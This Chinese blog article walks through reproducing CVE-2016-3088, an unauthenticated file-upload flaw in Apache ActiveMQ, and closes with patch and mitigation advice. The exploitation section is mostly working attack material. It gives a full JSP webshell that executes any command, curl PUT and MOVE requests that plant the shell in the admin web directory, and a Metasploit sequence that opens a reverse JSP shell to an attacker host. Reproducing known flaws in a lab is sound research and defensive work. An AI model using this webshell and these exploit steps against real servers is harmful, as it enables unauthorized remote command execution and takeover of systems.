ActiveMQ远程代码执行漏洞CVE-2016-3088是怎么复现的

发布时间:2021-12-29 17:43:53 作者:柒染
来源:亿速云 阅读:338
# ActiveMQ远程代码执行漏洞CVE-2016-3088复现分析

## 漏洞概述

CVE-2016-3088是Apache ActiveMQ中存在的一个严重安全漏洞,该漏洞允许攻击者通过未授权访问的Fileserver功能上传恶意文件,进而实现远程代码执行(RCE)。漏洞影响版本主要为Apache ActiveMQ 5.x至5.13.0。

### 漏洞原理
ActiveMQ默认开放61616(消息代理)和8161(管理控制台)端口。其Fileserver功能允许用户通过HTTP PUT方法上传文件,但未对上传文件类型进行严格限制,攻击者可上传包含恶意代码的JSP文件到web目录,通过HTTP请求触发代码执行。

---

## 环境搭建

### 实验环境要求
- 靶机:Kali Linux(运行ActiveMQ 5.12.1)
- 攻击机:任意可发送HTTP请求的主机
- 工具:Burp Suite/cURL、Metasploit Framework

### 安装步骤
1. 下载受影响版本:
   ```bash
   wget https://archive.apache.org/dist/activemq/5.12.1/apache-activemq-5.12.1-bin.tar.gz
   tar -xzvf apache-activemq-5.12.1-bin.tar.gz
   cd apache-activemq-5.12.1/bin
   ./activemq start
  1. 验证服务启动:
    • 访问http://target_ip:8161/admin(默认账号密码admin/admin)

漏洞复现步骤

方法一:手动利用

  1. 检测Fileserver是否存在

    curl -X OPTIONS http://target_ip:8161/fileserver/
    # 若返回包含PUT/DELETE方法,则存在风险
    
  2. 上传WebShell: 创建恶意JSP文件shell.jsp

    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
       Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
       OutputStream os = p.getOutputStream();
       InputStream in = p.getInputStream();
       DataInputStream dis = new DataInputStream(in);
       String disr = dis.readLine();
       while ( disr != null ) {
           out.println(disr); 
           disr = dis.readLine(); 
       }
    }
    %>
    

    使用PUT方法上传:

    curl -v -X PUT --data "@shell.jsp" "http://target_ip:8161/fileserver/shell.jsp"
    
  3. 移动文件至Web目录

    curl -v -X MOVE --header "Destination: file:///opt/activemq/webapps/admin/shell.jsp" "http://target_ip:8161/fileserver/shell.jsp"
    
  4. 执行命令: 访问http://target_ip:8161/admin/shell.jsp?cmd=whoami查看命令回显。

方法二:Metasploit自动化利用

msfconsole
use exploit/multi/http/activemq_upload_jsp
set RHOSTS target_ip
set RPORT 8161
set TARGETURI /fileserver/
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST attacker_ip
exploit

修复建议

  1. 官方补丁:

    • 升级至ActiveMQ 5.13.1及以上版本
    • 禁用Fileserver功能(修改conf/jetty.xml中Fileserver配置)
  2. 临时缓解措施:

    <!-- 在conf/jetty.xml中添加 -->
    <bean class="org.eclipse.jetty.server.handler.ContextHandler">
     <property name="contextPath" value="/fileserver" />
     <property name="handler">
       <bean class="org.eclipse.jetty.server.handler.ResourceHandler">
         <property name="allowedMethods" value="GET" />
       </bean>
     </property>
    </bean>
    

技术深度分析

漏洞根源在于: 1. 权限控制缺失:Fileserver未做身份验证 2. 文件操作滥用:MOVE方法可跨目录移动文件 3. 沙箱绕过:JSP文件可直接在Web上下文执行

攻击流量特征: - HTTP PUT请求包含.jsp扩展名 - MOVE请求的Destination头包含webapps路径


参考链接

”`

注:实际复现需在授权环境下进行,部分操作可能因环境差异需要调整。文中IP地址需替换为实际目标地址。

推荐阅读:
  1. Apache ActiveMQ 远程代码执行漏洞 (CVE-
  2. ThinkPHP远程命令执行漏洞原理及复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

activemq cve-2016-3088

上一篇:web安全中Adobe ColdFusion文件读取漏洞CVE-2010-2861的示例分析

下一篇:如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》